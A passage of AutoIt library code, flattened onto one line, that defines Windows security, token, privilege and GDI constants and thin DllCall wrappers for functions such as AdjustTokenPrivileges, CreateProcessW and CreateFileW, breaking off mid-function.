Const $se_system_environment_name = "SeSystemEnvironmentPrivilege" Global Const $se_system_profile_name = "SeSystemProfilePrivilege" Global Const $se_systemtime_name = "SeSystemtimePrivilege" Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege" Global Const $se_tcb_name = "SeTcbPrivilege" Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege" Global Const $se_undock_name = "SeUndockPrivilege" Global Const $se_privilege_enabled_by_default = 1 Global Const $se_privilege_enabled = 2 Global Const $se_privilege_removed = 4 Global Const $se_privilege_used_for_access = -2147483648 Global Const $se_group_mandatory = 1 Global Const $se_group_enabled_by_default = 2 Global Const $se_group_enabled = 4 Global Const $se_group_owner = 8 Global Const $se_group_use_for_deny_only = 16 Global Const $se_group_integrity = 32 Global Const $se_group_integrity_enabled = 64 Global Const $se_group_resource = 536870912 Global Const $se_group_logon_id = -1073741824 Global Enum $tokenprimary = 1, $tokenimpersonation Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation Global Enum $tokenuser = 1, $tokengroups, $tokenprivileges, $tokenowner, $tokenprimarygroup, $tokendefaultdacl, $tokensource, $tokentype, $tokenimpersonationlevel, $tokenstatistics, $tokenrestrictedsids, $tokensessionid, $tokengroupsandprivileges, $tokensessionreference, $tokensandboxinert, $tokenauditpolicy, $tokenorigin, $tokenelevationtype, $tokenlinkedtoken, $tokenelevation, $tokenhasrestrictions, $tokenaccessinformation, $tokenvirtualizationallowed, $tokenvirtualizationenabled, $tokenintegritylevel, $tokenuiaccess, $tokenmandatorypolicy, $tokenlogonsid Global Const $token_assign_primary = 1 Global Const $token_duplicate = 2 Global Const $token_impersonate = 4 Global Const $token_query = 8 Global Const $token_query_source = 16 Global Const $token_adjust_privileges = 32 Global Const $token_adjust_groups = 64 Global Const $token_adjust_default = 128 Global Const $token_adjust_sessionid = 256 Global Const $token_all_access = 983551 Global Const $token_read = 131080 Global Const $token_write = 131296 Global Const $token_execute = 131072 Global Const $token_has_traverse_privilege = 1 Global Const $token_has_backup_privilege = 2 Global Const $token_has_restore_privilege = 4 Global Const $token_has_admin_group = 8 Global Const $token_is_restricted = 16 Global Const $token_session_not_referenced = 32 Global Const $token_sandbox_inert = 64 Global Const $token_has_impersonate_privilege = 128 Global Const $rights_delete = 65536 Global Const $read_control = 131072 Global Const $write_dac = 262144 Global Const $write_owner = 524288 Global Const $synchronize = 1048576 Global Const $standard_rights_required = 983040 Global Const $standard_rights_read = $read_control Global Const $standard_rights_write = $read_control Global Const $standard_rights_execute = $read_control Global Const $standard_rights_all = 2031616 Global Const $specific_rights_all = 65535 Global Enum $not_used_access = 0, $grant_access, $set_access, $deny_access, $revoke_access, $set_audit_success, $set_audit_failure Global Enum $trustee_is_unknown = 0, $trustee_is_user, $trustee_is_group, $trustee_is_domain, $trustee_is_alias, $trustee_is_well_known_group, $trustee_is_deleted, $trustee_is_invalid, $trustee_is_computer Global Const $logon_with_profile = 1 Global Const $logon_netcredentials_only = 2 Global Enum $sidtypeuser = 1, $sidtypegroup, $sidtypedomain, $sidtypealias, $sidtypewellknowngroup, $sidtypedeletedaccount, $sidtypeinvalid, $sidtypeunknown, $sidtypecomputer, $sidtypelabel Global Const $sid_administrators = "S-1-5-32-544" Global Const $sid_users = "S-1-5-32-545" Global Const $sid_guests = "S-1-5-32-546" Global Const $sid_account_operators = "S-1-5-32-548" Global Const $sid_server_operators = "S-1-5-32-549" Global Const $sid_print_operators = "S-1-5-32-550" Global Const $sid_backup_operators = "S-1-5-32-551" Global Const $sid_replicator = "S-1-5-32-552" Global Const $sid_owner = "S-1-3-0" Global Const $sid_everyone = "S-1-1-0" Global Const $sid_network = "S-1-5-2" Global Const $sid_interactive = "S-1-5-4" Global Const $sid_system = "S-1-5-18" Global Const $sid_authenticated_users = "S-1-5-11" Global Const $sid_schannel_authentication = "S-1-5-64-14" Global Const $sid_digest_authentication = "S-1-5-64-21" Global Const $sid_nt_service = "S-1-5-80" Global Const $sid_untrusted_mandatory_level = "S-1-16-0" Global Const $sid_low_mandatory_level = "S-1-16-4096" Global Const $sid_medium_mandatory_level = "S-1-16-8192" Global Const $sid_medium_plus_mandatory_level = "S-1-16-8448" Global Const $sid_high_mandatory_level = "S-1-16-12288" Global Const $sid_system_mandatory_level = "S-1-16-16384" Global Const $sid_protected_process_mandatory_level = "S-1-16-20480" Global Const $sid_secure_process_mandatory_level = "S-1-16-28672" Global Const $sid_all_services = "S-1-5-80-0" Func _winapi_getlasterror($curerr = @error, $curext = @extended) Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError") Return SetError($curerr, $curext, $aresult[0]) EndFunc Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended) DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode) Return SetError($curerr, $curext) EndFunc Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0) Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "struct*", $pnewstate, "dword", $ibufferlen, "struct*", $pprevstate, "struct*", $prequired) If @error Then Return SetError(1, @extended, False) Return NOT ($acall[0] = 0) EndFunc Func _security__createprocesswithtoken($htoken, $ilogonflags, $scommandline, $icreationflags, $scurdir, $tstartupinfo, $tprocess_information) Local $acall = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $htoken, "dword", $ilogonflags, "ptr", 0, "wstr", $scommandline, "dword", $icreationflags, "struct*", 0, "wstr", $scurdir, "struct*", $tstartupinfo, "struct*", $tprocess_information) If @error OR NOT $acall[0] Then Return SetError(1, @extended, False) Return True EndFunc Func _security__duplicatetokenex($hexistingtoken, $idesiredaccess, $iimpersonationlevel, $itokentype) Local $acall = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $hexistingtoken, "dword", $idesiredaccess, "struct*", 0, "int", $iimpersonationlevel, "int", $itokentype, "handle*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Return $acall[6] EndFunc Func _security__getaccountsid($saccount, $ssystem = "") Local $aacct = _security__lookupaccountname($saccount, $ssystem) If @error Then Return SetError(@error, @extended, 0) If IsArray($aacct) Then Return _security__stringsidtosid($aacct[0]) Return "" EndFunc Func _security__getlengthsid($psid) If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0) Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid) If @error Then Return SetError(2, @extended, 0) Return $acall[0] EndFunc Func _security__gettokeninformation($htoken, $iclass) Local $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", 0, "dword", 0, "dword*", 0) If @error OR NOT $acall[5] Then Return SetError(1, @extended, 0) Local $ilen = $acall[5] Local $tbuffer = DllStructCreate("byte[" & $ilen & "]") $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", $tbuffer, "dword", DllStructGetSize($tbuffer), "dword*", 0) If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0) Return $tbuffer EndFunc Func _security__impersonateself($ilevel = $securityimpersonation) Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel) If @error Then Return SetError(1, @extended, False) Return NOT ($acall[0] = 0) EndFunc Func _security__isvalidsid($psid) Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid) If @error Then Return SetError(1, @extended, False) Return NOT ($acall[0] = 0) EndFunc Func _security__lookupaccountname($saccount, $ssystem = "") Local $tdata = DllStructCreate("byte SID[256]") Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Local $aacct[3] $aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID")) $aacct[1] = $acall[5] $aacct[2] = $acall[7] Return $aacct EndFunc Func _security__lookupaccountsid($vsid, $ssystem = "") Local $psid, $aacct[3] If IsString($vsid) Then $psid = _security__stringsidtosid($vsid) Else $psid = $vsid EndIf If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0) Local $typesystem = "ptr" If $ssystem Then $typesystem = "wstr" Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $typesystem, $ssystem, "struct*", $psid, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0) If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0) Local $aacct[3] $aacct[0] = $acall[3] $aacct[1] = $acall[5] $aacct[2] = $acall[7] Return $aacct EndFunc Func _security__lookupprivilegevalue($ssystem, $sname) Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Return $acall[3] EndFunc Func _security__openprocesstoken($hprocess, $iaccess) Local $acall = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "handle*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Return $acall[3] EndFunc Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False) If $hthread = 0 Then $hthread = _winapi_getcurrentthread() If @error Then Return SetError(1, @extended, 0) Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $fopenasself, "handle*", 0) If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0) Return $acall[4] EndFunc Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False) Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself) If $htoken = 0 Then If _winapi_getlasterror() <> $error_no_token Then Return SetError(3, _winapi_getlasterror(), 0) If NOT _security__impersonateself() Then Return SetError(1, _winapi_getlasterror(), 0) $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself) If $htoken = 0 Then Return SetError(2, _winapi_getlasterror(), 0) EndIf Return $htoken EndFunc Func _security__setprivilege($htoken, $sprivilege, $fenable) Local $iluid = _security__lookupprivilegevalue("", $sprivilege) If $iluid = 0 Then Return SetError(1, @extended, False) Local $tcurrstate = DllStructCreate($tagtoken_privileges) Local $icurrstate = DllStructGetSize($tcurrstate) Local $tprevstate = DllStructCreate($tagtoken_privileges) Local $iprevstate = DllStructGetSize($tprevstate) Local $trequired = DllStructCreate("int Data") DllStructSetData($tcurrstate, "Count", 1) DllStructSetData($tcurrstate, "LUID", $iluid) If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False) DllStructSetData($tprevstate, "Count", 1) DllStructSetData($tprevstate, "LUID", $iluid) Local $iattributes = DllStructGetData($tprevstate, "Attributes") If $fenable Then $iattributes = BitOR($iattributes, $se_privilege_enabled) Else $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled)) EndIf DllStructSetData($tprevstate, "Attributes", $iattributes) If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False) Return True EndFunc Func _security__settokeninformation($htoken, $itokeninformation, $vtokeninformation, $itokeninformationlength) Local $acall = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $htoken, "int", $itokeninformation, "struct*", $vtokeninformation, "dword", $itokeninformationlength) If @error OR NOT $acall[0] Then Return SetError(1, @extended, False) Return True EndFunc Func _security__sidtostringsid($psid) If NOT _security__isvalidsid($psid) Then Return SetError(1, 0, "") Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0) If @error OR NOT $acall[0] Then Return SetError(2, @extended, "") Local $pstringsid = $acall[2] Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & _winapi_stringlenw($pstringsid) + 1 & "]", $pstringsid), "Text") _winapi_localfree($pstringsid) Return $ssid EndFunc Func _security__sidtypestr($itype) Switch $itype Case $sidtypeuser Return "User" Case $sidtypegroup Return "Group" Case $sidtypedomain Return "Domain" Case $sidtypealias Return "Alias" Case $sidtypewellknowngroup Return "Well Known Group" Case $sidtypedeletedaccount Return "Deleted Account" Case $sidtypeinvalid Return "Invalid" Case $sidtypeunknown Return "Unknown Type" Case $sidtypecomputer Return "Computer" Case $sidtypelabel Return "A mandatory integrity label SID" Case Else Return "Unknown SID Type" EndSwitch EndFunc Func _security__stringsidtosid($ssid) Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0) If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0) Local $psid = $acall[2] Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid) Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]") DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data")) _winapi_localfree($psid) Return $tsid EndFunc Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult") Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam) If @error Then Return SetError(@error, @extended, "") If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn] Return $aresult EndFunc Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult") Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam) If @error Then Return SetError(@error, @extended, "") If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn] Return $aresult EndFunc Global $__gainprocess_winapi[64][2] = [[0, 0]] Global $__gawinlist_winapi[64][2] = [[0, 0]] Global Const $__winapiconstant_wm_setfont = 48 Global Const $__winapiconstant_fw_normal = 400 Global Const $__winapiconstant_default_charset = 1 Global Const $__winapiconstant_out_default_precis = 0 Global Const $__winapiconstant_clip_default_precis = 0 Global Const $__winapiconstant_default_quality = 0 Global Const $__winapiconstant_format_message_allocate_buffer = 256 Global Const $__winapiconstant_format_message_from_system = 4096 Global Const $__winapiconstant_logpixelsx = 88 Global Const $__winapiconstant_logpixelsy = 90 Global Const $hgdi_error = Ptr(-1) Global Const $invalid_handle_value = Ptr(-1) Global Const $clr_invalid = -1 Global Const $__winapiconstant_flashw_caption = 1 Global Const $__winapiconstant_flashw_tray = 2 Global Const $__winapiconstant_flashw_timer = 4 Global Const $__winapiconstant_flashw_timernofg = 12 Global Const $__winapiconstant_gw_hwndnext = 2 Global Const $__winapiconstant_gw_child = 5 Global Const $__winapiconstant_di_mask = 1 Global Const $__winapiconstant_di_image = 2 Global Const $__winapiconstant_di_normal = 3 Global Const $__winapiconstant_di_compat = 4 Global Const $__winapiconstant_di_defaultsize = 8 Global Const $__winapiconstant_di_nomirror = 16 Global Const $__winapiconstant_display_device_attached_to_desktop = 1 Global Const $__winapiconstant_display_device_primary_device = 4 Global Const $__winapiconstant_display_device_mirroring_driver = 8 Global Const $__winapiconstant_display_device_vga_compatible = 16 Global Const $__winapiconstant_display_device_removable = 32 Global Const $__winapiconstant_display_device_modespruned = 134217728 Global Const $null_brush = 5 Global Const $null_pen = 8 Global Const $black_brush = 4 Global Const $dkgray_brush = 3 Global Const $dc_brush = 18 Global Const $gray_brush = 2 Global Const $hollow_brush = $null_brush Global Const $ltgray_brush = 1 Global Const $white_brush = 0 Global Const $black_pen = 7 Global Const $dc_pen = 19 Global Const $white_pen = 6 Global Const $ansi_fixed_font = 11 Global Const $ansi_var_font = 12 Global Const $device_default_font = 14 Global Const $default_gui_font = 17 Global Const $oem_fixed_font = 10 Global Const $system_font = 13 Global Const $system_fixed_font = 16 Global Const $default_palette = 15 Global Const $mb_precomposed = 1 Global Const $mb_composite = 2 Global Const $mb_useglyphchars = 4 Global Const $ulw_alpha = 2 Global Const $ulw_colorkey = 1 Global Const $ulw_opaque = 4 Global Const $wh_callwndproc = 4 Global Const $wh_callwndprocret = 12 Global Const $wh_cbt = 5 Global Const $wh_debug = 9 Global Const $wh_foregroundidle = 11 Global Const $wh_getmessage = 3 Global Const $wh_journalplayback = 1 Global Const $wh_journalrecord = 0 Global Const $wh_keyboard = 2 Global Const $wh_keyboard_ll = 13 Global Const $wh_mouse = 7 Global Const $wh_mouse_ll = 14 Global Const $wh_msgfilter = -1 Global Const $wh_shell = 10 Global Const $wh_sysmsgfilter = 6 Global Const $wpf_asyncwindowplacement = 4 Global Const $wpf_restoretomaximized = 2 Global Const $wpf_setminposition = 1 Global Const $kf_extended = 256 Global Const $kf_altdown = 8192 Global Const $kf_up = 32768 Global Const $llkhf_extended = BitShift($kf_extended, 8) Global Const $llkhf_injected = 16 Global Const $llkhf_altdown = BitShift($kf_altdown, 8) Global Const $llkhf_up = BitShift($kf_up, 8) Global Const $ofn_allowmultiselect = 512 Global Const $ofn_createprompt = 8192 Global Const $ofn_dontaddtorecent = 33554432 Global Const $ofn_enablehook = 32 Global Const $ofn_enableincludenotify = 4194304 Global Const $ofn_enablesizing = 8388608 Global Const $ofn_enabletemplate = 64 Global Const $ofn_enabletemplatehandle = 128 Global Const $ofn_explorer = 524288 Global Const $ofn_extensiondifferent = 1024 Global Const $ofn_filemustexist = 4096 Global Const $ofn_forceshowhidden = 268435456 Global Const $ofn_hidereadonly = 4 Global Const $ofn_longnames = 2097152 Global Const $ofn_nochangedir = 8 Global Const $ofn_nodereferencelinks = 1048576 Global Const $ofn_nolongnames = 262144 Global Const $ofn_nonetworkbutton = 131072 Global Const $ofn_noreadonlyreturn = 32768 Global Const $ofn_notestfilecreate = 65536 Global Const $ofn_novalidate = 256 Global Const $ofn_overwriteprompt = 2 Global Const $ofn_pathmustexist = 2048 Global Const $ofn_readonly = 1 Global Const $ofn_shareaware = 16384 Global Const $ofn_showhelp = 16 Global Const $ofn_ex_noplacesbar = 1 Global Const $tmpf_fixed_pitch = 1 Global Const $tmpf_vector = 2 Global Const $tmpf_truetype = 4 Global Const $tmpf_device = 8 Global Const $duplicate_close_source = 1 Global Const $duplicate_same_access = 2 Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]" Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut" Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor" Global Const $tagmemorystatuS.E.X = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual" Func _winapi_attachconsole($iprocessid = -1) Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $iprocessid) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_attachthreadinput($iattach, $iattachto, $fattach) Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $fattach) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_beep($ifreq = 500, $iduration = 1000) Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop) Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_callnexthookex($hhk, $icode, $wparam, $lparam) Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhk, "int", $icode, "wparam", $wparam, "lparam", $lparam) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_callwindowproc($lpprevwndfunc, $hwnd, $msg, $wparam, $lparam) Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $lpprevwndfunc, "hwnd", $hwnd, "uint", $msg, "wparam", $wparam, "lparam", $lparam) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_clienttoscreen($hwnd, ByRef $tpoint) DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint) Return SetError(@error, @extended, $tpoint) EndFunc Func _winapi_closehandle($hobject) Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode) Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_commdlgextendederror() Local Const $cderr_dialogfailure = 65535 Local Const $cderr_findresfailure = 6 Local Const $cderr_initialization = 2 Local Const $cderr_loadresfailure = 7 Local Const $cderr_loadstrfailure = 5 Local Const $cderr_lockresfailure = 8 Local Const $cderr_memallocfailure = 9 Local Const $cderr_memlockfailure = 10 Local Const $cderr_nohinstance = 4 Local Const $cderr_nohook = 11 Local Const $cderr_notemplate = 3 Local Const $cderr_registermsgfail = 12 Local Const $cderr_structsize = 1 Local Const $fnerr_buffertoosmall = 12291 Local Const $fnerr_invalidfilename = 12290 Local Const $fnerr_subclassfailure = 12289 Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError") If @error Then Return SetError(@error, @extended, 0) Switch $aresult[0] Case $cderr_dialogfailure Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.") Case $cderr_findresfailure Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.") Case $cderr_initialization Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.") Case $cderr_loadresfailure Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.") Case $cderr_loadstrfailure Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.") Case $cderr_lockresfailure Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.") Case $cderr_memallocfailure Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.") Case $cderr_memlockfailure Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.") Case $cderr_nohinstance Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.") Case $cderr_nohook Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.") Case $cderr_notemplate Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.") Case $cderr_registermsgfail Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.") Case $cderr_structsize Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid") Case $fnerr_buffertoosmall Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.") Case $fnerr_invalidfilename Return SetError($aresult[0], 0, "A file name is invalid.") Case $fnerr_subclassfailure Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.") EndSwitch Return Hex($aresult[0]) EndFunc Func _winapi_copyicon($hicon) Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0) Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "ptr", $pbits) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight) Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createcompatibledc($hdc) Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createevent($pattributes = 0, $fmanualreset = True, $finitialstate = True, $sname = "") Local $snametype = "wstr" If $sname = "" Then $sname = 0 $snametype = "ptr" EndIf Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "ptr", $pattributes, "bool", $fmanualreset, "bool", $finitialstate, $snametype, $sname) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $psecurity = 0) Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0 If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute) If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read) If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write) If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete) If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read) If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write) Switch $icreation Case 0 $icd = $create_new Case 1 $icd = $create_always Case 2 $icd = $open_existing Case 3 $icd = $open_always Case 4 $icd = $truncate_existing EndSwitch If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive) If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden) If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly) If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system) Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "ptr", $psecurity, "dword", $icd, "dword", $ifa, "ptr", 0) If @error OR $aresult[0] = Ptr(-1) Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createfont($nheight, $nwidth, $nescape = 0, $norientn = 0, $fnweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $ncharset = $__winapiconstant_default_charset, $noutputprec = $__winapiconstant_out_default_precis, $nclipprec = $__winapiconstant_clip_default_precis, $nquality = $__winapiconstant_default_quality, $npitch = 0, $szface = "Arial") Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $nheight, "int", $nwidth, "int", $nescape, "int", $norientn, "int", $fnweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $ncharset, "dword", $noutputprec, "dword", $nclipprec, "dword", $nquality, "dword", $npitch, "wstr", $szface) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createfontindirect($tlogfont) Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createpen($ipenstyle, $iwidth, $ncolor) Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "dword", $ncolor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $finherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess) Local $tcommand = 0 Local $sappnametype = "wstr", $sdirtype = "wstr" If $sappname = "" Then $sappnametype = "ptr" $sappname = 0 EndIf If $scommand <> "" Then $tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]") DllStructSetData($tcommand, "Text", $scommand) EndIf If $sdir = "" Then $sdirtype = "ptr" $sdir = 0 EndIf Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "struct*", $tcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect) Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse) Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", 